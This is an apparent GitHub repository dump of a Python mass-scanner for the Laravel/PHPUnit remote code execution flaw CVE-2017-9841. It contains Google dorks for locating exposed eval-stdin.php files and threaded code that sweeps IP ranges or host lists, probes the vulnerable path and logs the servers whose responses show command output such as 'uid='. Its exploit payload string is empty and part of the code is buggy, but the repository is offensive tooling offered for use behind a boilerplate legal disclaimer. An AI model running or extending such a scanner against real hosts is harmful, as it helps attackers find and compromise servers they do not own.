├── Pipfile ├── Pipfile.lock ├── README.md ├── dorks.txt ├── error.log ├── main.py ├── modules ├── __init__.py ├── banner.py ├── executor.py ├── file_module.py └── request_module.py ├── output.log ├── poc.png ├── requirements.txt └── tenor.gif /Pipfile: -------------------------------------------------------------------------------- 1 | [[source]] 2 | url = "https://pypi.org/simple" 3 | verify_ssl = true 4 | name = "pypi" 5 | 6 | [packages] 7 | requests = "*" 8 | 9 | [dev-packages] 10 | 11 | [requires] 12 | python_version = "3.8" 13 | -------------------------------------------------------------------------------- /Pipfile.lock: -------------------------------------------------------------------------------- 1 | { 2 | "_meta": { 3 | "hash": { 4 | "sha256": "acbc8c4e7f2f98f1059b2a93d581ef43f4aa0c9741e64e6253adff8e35fbd99e" 5 | }, 6 | "pipfile-spec": 6, 7 | "requires": { 8 | "python_version": "3.8" 9 | }, 10 | "sources": [ 11 | { 12 | "name": "pypi", 13 | "url": "https://pypi.org/simple", 14 | "verify_ssl": true 15 | } 16 | ] 17 | }, 18 | "default": { 19 | "certifi": { 20 | "hashes": [ 21 | "sha256:2bbf76fd432960138b3ef6dda3dde0544f27cbf8546c458e60baf371917ba9ee", 22 | "sha256:50b1e4f8446b06f41be7dd6338db18e0990601dce795c2b1686458aa7e8fa7d8" 23 | ], 24 | "version": "==2021.5.30" 25 | }, 26 | "chardet": { 27 | "hashes": [ 28 | "sha256:0d6f53a15db4120f2b08c94f11e7d93d2c911ee118b6b30a04ec3ee8310179fa", 29 | "sha256:f864054d66fd9118f2e67044ac8981a54775ec5b67aed0441892edb553d21da5" 30 | ], 31 | "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", 32 | "version": "==4.0.0" 33 | }, 34 | "idna": { 35 | "hashes": [ 36 | "sha256:b307872f855b18632ce0c21c5e45be78c0ea7ae4c15c828c20788b26921eb3f6", 37 | "sha256:b97d804b1e9b523befed77c48dacec60e6dcb0b5391d57af6a65a312a90648c0" 38 | ], 39 | "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", 40 | "version": "==2.10" 41 | }, 42 | "requests": { 43 | "hashes": [ 44 | "sha256:27973dd4a904a4f13b263a19c866c13b92a39ed1c964655f025f3f8d3d75b804", 45 | "sha256:c210084e36a42ae6b9219e00e48287def368a26d03a048ddad7bfee44f75871e" 46 | ], 47 | "index": "pypi", 48 | "version": "==2.25.1" 49 | }, 50 | "urllib3": { 51 | "hashes": [ 52 | "sha256:39fb8672126159acb139a7718dd10806104dec1e2f0f6c88aab05d17df10c8d4", 53 | "sha256:f57b4c16c62fa2760b7e3d97c35b255512fb6b59a259730f36ba32ce9f8e342f" 54 | ], 55 | "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' and python_version < '4'", 56 | "version": "==1.26.6" 57 | } 58 | }, 59 | "develop": {} 60 | } 61 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # laravel phpunit rce masscanner CVE-2017-9841 2 | Masscanner for Laravel phpunit RCE **CVE-2017-9841** 3 | 4 | ## deps 5 | 6 | ``` 7 | python3 -m pip install -r requirements.txt 8 | 9 | or 10 | 11 | pipenv install -r requirements.txt 12 | 13 | ``` 14 | 15 | # Usage 16 | 17 | ``` 18 | 19 | usage: tool [-h] [--file ] [--range ,] [--single SINGLE] 20 | 21 | optional arguments: 22 | -h, --help show this help message and exit 23 | --file Input your target host lists 24 | --range , Set range IP Eg.: 192.168.15.1,192.168.15.100 25 | 26 | ``` 27 | 28 | 29 | # PoC 30 | ![poc.png](poc.png) 31 | 32 | ## Features 33 | - Range of ips with --range Eg: python3 main.py --range 192.168.0.1,192.168.1.253 34 | - List of hostnames --file Eg: python3 main.py --file hostnames.txt 35 | - Dorks see dorks.txt 36 | 37 | ## References 38 | 39 | [https://github.com/sebastianbergmann/phpunit/pull/1956](https://github.com/sebastianbergmann/phpunit/pull/1956) 40 | 41 | [https://nvd.nist.gov/vuln/detail/CVE-2017-9841](https://nvd.nist.gov/vuln/detail/CVE-2017-9841) 42 | 43 | ## LOOK HERE 44 | 45 | ``` 46 | +------------------------------------------------------------------------------+ 47 | | [!] Legal disclaimer: Usage of this tool for attacking | 48 | | targets without prior mutual consent is illegal. | 49 | | It is the end user's responsibility to obey all applicable | 50 | | local, state and federal laws. | 51 | | Developers assume no liability and are not responsible for any misuse or | 52 | | damage caused by this program | 53 | +------------------------------------------------------------------------------+ 54 | 55 | ``` 56 | 57 | Bye! 58 | 59 | ![tenor.gif](tenor.gif) 60 | -------------------------------------------------------------------------------- /dorks.txt: -------------------------------------------------------------------------------- 1 | 'inurl:/Util/PHP site:id' 2 | 'inurl:/phpunit/phpunit/ site:.com' 3 | 'inurl:/vendor/bin site:' 4 | 'inurl:/vendor/phpunit/phpunit/src/Util/PHP/ site:.net' 5 | 'intitle:"index of" intext:eval-stdin.php site:za' 6 | 'inurl:/Util/PHP/ intext:eval-stdin.php site:.com' -------------------------------------------------------------------------------- /error.log: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/incogbyte/laravel-phpunit-rce-masscaner/aa531ad35537e2784a9aa58c02d97b92d2f5a0d6/error.log -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import argparse 3 | import time 4 | from modules.executor import Executor 5 | from modules.banner import Banner 6 | 7 | parser = argparse.ArgumentParser( 8 | prog='tool', 9 | formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=40) 10 | ) 11 | parser.add_argument('--file', help='Input your target host lists',metavar='', required=False) 12 | parser.add_argument('--range', help='Set range IP Eg.: 192.168.15.1,192.168.15.100', metavar=',', required=False) 13 | parser.add_argument('--single', help='Single hostname Eg.: mytarget.com', required=False) 14 | arg_menu = parser.parse_args() 15 | 16 | if not (arg_menu.file or arg_menu.range or arg_menu.single): 17 | exit(parser.print_help()) 18 | 19 | print(Banner.b()) 20 | time.sleep(2) # sleep j0k3r =P 21 | 22 | HOSTNAME_FILE = arg_menu.file 23 | RANGE_IP = arg_menu.range 24 | SINGLE = arg_menu.single 25 | 26 | if RANGE_IP: 27 | range_split = RANGE_IP.split(',') 28 | first_octet = range_split[0] 29 | second_octet = range_split[1] 30 | ex = Executor() 31 | ex.start_from_ip(first_octet, second_octet) 32 | 33 | if HOSTNAME_FILE: 34 | list_domains = [] 35 | ex = Executor() 36 | f = open(HOSTNAME_FILE, 'r') 37 | for line in f.readlines(): 38 | l = line.strip('\n') 39 | list_domains.append(l) 40 | ex.start_urls(list_domains) 41 | -------------------------------------------------------------------------------- /modules/__init__.py: -------------------------------------------------------------------------------- 1 | pass -------------------------------------------------------------------------------- /modules/banner.py: -------------------------------------------------------------------------------- 1 | class Banner(): 2 | def b(): 3 | return (f""" 4 | 5 | By: inc0gbyt3 / https://inc0gbyt3.github.io / TW: @inc0gbyt3 6 | 7 | 8 | ██▓ ▄▄▄ ██▀███ ▄▄▄ ██▒ █▓▓█████ ██▓ ██▓███ ██░ ██ ██▓███ █ ██ ███▄ █ ██▓▄▄▄█████▓ ██▀███ ▄████▄ ▓█████ 9 | ▓██▒ ▒████▄ ▓██ ▒ ██▒▒████▄ ▓██░ █▒▓█ ▀ ▓██▒ ▓██░ ██▒▓██░ ██▒▓██░ ██▒ ██ ▓██▒ ██ ▀█ █ ▓██▒▓ ██▒ ▓▒ ▓██ ▒ ██▒▒██▀ ▀█ ▓█ ▀ 10 | ▒██░ ▒██ ▀█▄ ▓██ ░▄█ ▒▒██ ▀█▄▓██ █▒░▒███ ▒██░ ▓██░ ██▓▒▒██▀▀██░▓██░ ██▓▒▓██ ▒██░▓██ ▀█ ██▒▒██▒▒ ▓██░ ▒░ ▓██ ░▄█ ▒▒▓█ ▄ ▒███ 11 | ▒██░ ░██▄▄▄▄██ ▒██▀▀█▄ ░██▄▄▄▄██▒██ █░░▒▓█ ▄ ▒██░ ▒██▄█▓▒ ▒░▓█ ░██ ▒██▄█▓▒ ▒▓▓█ ░██░▓██▒ ▐▌██▒░██░░ ▓██▓ ░ ▒██▀▀█▄ ▒▓▓▄ ▄██▒▒▓█ ▄ 12 | ░██████▒▓█ ▓██▒░██▓ ▒██▒ ▓█ ▓██▒▒▀█░ ░▒████▒░██████▒ ▒██▒ ░ ░░▓█▒░██▓▒██▒ ░ ░▒▒█████▓ ▒██░ ▓██░░██░ ▒██▒ ░ ░██▓ ▒██▒▒ ▓███▀ ░░▒████▒ 13 | ░ ▒░▓ ░▒▒ ▓▒█░░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░ ▐░ ░░ ▒░ ░░ ▒░▓ ░ ▒▓▒░ ░ ░ ▒ ░░▒░▒▒▓▒░ ░ ░░▒▓▒ ▒ ▒ ░ ▒░ ▒ ▒ ░▓ ▒ ░░ ░ ▒▓ ░▒▓░░ ░▒ ▒ ░░░ ▒░ ░ 14 | ░ ░ ▒ ░ ▒ ▒▒ ░ ░▒ ░ ▒░ ▒ ▒▒ ░░ ░░ ░ ░ ░░ ░ ▒ ░ ░▒ ░ ▒ ░▒░ ░░▒ ░ ░░▒░ ░ ░ ░ ░░ ░ ▒░ ▒ ░ ░ ░▒ ░ ▒░ ░ ▒ ░ ░ ░ 15 | ░ ░ ░ ▒ ░░ ░ ░ ▒ ░░ ░ ░ ░ ░░ ░ ░░ ░░░ ░░░ ░ ░ ░ ░ ░ ▒ ░ ░ ░░ ░ ░ ░ 16 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 17 | ░ ░ 18 | 19 | """) 20 | -------------------------------------------------------------------------------- /modules/executor.py: -------------------------------------------------------------------------------- 1 | from modules import file_module, request_module 2 | import time 3 | from concurrent.futures import ThreadPoolExecutor 4 | 5 | XPL = [ 6 | "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" 7 | ] 8 | 9 | 10 | class Executor: 11 | def __init__(self) -> None: 12 | self.MAX_CONECTION_THREAD = 60 13 | self.COUNT_REQUEST = 0 14 | self.TIME_SLEEP = 3 15 | self.TIME_OUT = 5 16 | self.COUNT_ROX = 0 17 | self.req_obj = request_module.ScannerRequests() 18 | 19 | def checker(self, target): 20 | for xpl in XPL: 21 | expl = 'http://' + target + xpl 22 | expl_https = 'https://' + target + xpl 23 | result = self.req_obj.send_requests(expl) 24 | time.sleep(self.TIME_SLEEP) 25 | if result: 26 | return result 27 | 28 | def checker_https(self, target): 29 | for xpl in XPL: 30 | expl_https = 'https://' + target + xpl 31 | result = self.req_obj.send_requests(expl_https) 32 | time.sleep(self.TIME_SLEEP) 33 | if result: 34 | return result 35 | 36 | def ip_ranger(self, start_ip, end_ip): 37 | start = list(map(int, start_ip.split("."))) 38 | end = list(map(int, end_ip.split("."))) 39 | temp = start 40 | ip_range = [] 41 | ip_range.append(start_ip) 42 | while temp != end: 43 | start[3] += 1 44 | for i in (3, 2, 1): 45 | if temp[i] == 256: 46 | temp[i] = 0 47 | temp[i-1] += 1 48 | ip_range.append(".".join(map(str, temp))) 49 | return ip_range 50 | 51 | 52 | def start_from_ip(self,ip_start, ip_end): 53 | try: 54 | IP_RANGE = self.ip_ranger(ip_start, ip_end) 55 | exxec = ThreadPoolExecutor(max_workers=self.MAX_CONECTION_THREAD) 56 | exxec.map(self.checker, IP_RANGE) 57 | exxec.map(self.checker_https) 58 | exxec.shutdown(wait=True) 59 | except Exception as e: 60 | return print(e) 61 | 62 | def start_urls(self, list_hostnames): 63 | try: 64 | exxec = ThreadPoolExecutor(max_workers=self.MAX_CONECTION_THREAD) 65 | exxec.map(self.checker, list_hostnames) 66 | exxec.map(self.checker_https) 67 | exxec.shutdown(wait=True) 68 | except Exception as e: 69 | return print(e) 70 | -------------------------------------------------------------------------------- /modules/file_module.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | class file_moduler: 4 | def __init__(self) -> None: 5 | self.type_for_save = 'a' 6 | 7 | 8 | def save_value_file(self, value, file): 9 | with open(file, self.type_for_save) as f: 10 | f.write(value) 11 | f.close() -------------------------------------------------------------------------------- /modules/request_module.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import urllib3 3 | from urllib3.exceptions import InsecureRequestWarning 4 | urllib3.disable_warnings(InsecureRequestWarning) 5 | from modules.file_module import file_moduler 6 | 7 | 8 | class ScannerRequests: 9 | def __init__(self): 10 | self.headers = {"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like)"} 11 | self.timeout = 10 12 | self.payload = "" 13 | self.logger = file_moduler() 14 | 15 | 16 | 17 | def send_requests(self, url): 18 | try: 19 | print(f"=> {url}") 20 | response = requests.get(url, verify=False, headers=self.headers, timeout=self.timeout, data=self.payload) 21 | if "uid=" in response.text or "gid=" in response.text or "groups=" in response.text: 22 | is_vulnerable = True 23 | self.logger_process(url, response.status_code, is_vulnerable) 24 | else: 25 | is_vulnerable = False 26 | self.logger_process(url, response.status_code, is_vulnerable) 27 | except (requests.exceptions.Timeout, requests.exceptions.HTTPError) as e: 28 | print(f"[X] something went wrong {e}") 29 | 30 | def logger_process(self, target, result, is_vulnerable): 31 | if result == 200 and is_vulnerable: 32 | save_value = f"\[VULNERABLE]{target}\",\"{result}\"\n" 33 | print(f"[*] VULNERABLE: {target}:{result}") 34 | self.logger.save_value_file(save_value, 'output.log') 35 | else: 36 | save_value = f"\[ERROR]{target}\",\"{result}\"\n" 37 | print(f"[X] {target}:{result}") 38 | self.logger.save_value_file(save_value, 'error.log') 39 | 40 | 41 | -------------------------------------------------------------------------------- /output.log: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/incogbyte/laravel-phpunit-rce-masscaner/aa531ad35537e2784a9aa58c02d97b92d2f5a0d6/output.log -------------------------------------------------------------------------------- /poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/incogbyte/laravel-phpunit-rce-masscaner/aa531ad35537e2784a9aa58c02d97b92d2f5a0d6/poc.png -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | # 2 | # These requirements were autogenerated by pipenv 3 | # To regenerate from the project's Pipfile, run: 4 | # 5 | # pipenv lock --requirements 6 | # 7 | 8 | -i https://pypi.org/simple 9 | certifi==2021.5.30 10 | chardet==4.0.0; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' 11 | idna==2.10; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3' 12 | requests==2.25.1 13 | urllib3==1.26.6; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' and python_version < '4' 14 | -------------------------------------------------------------------------------- /tenor.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/incogbyte/laravel-phpunit-rce-masscaner/aa531ad35537e2784a9aa58c02d97b92d2f5a0d6/tenor.gif --------------------------------------------------------------------------------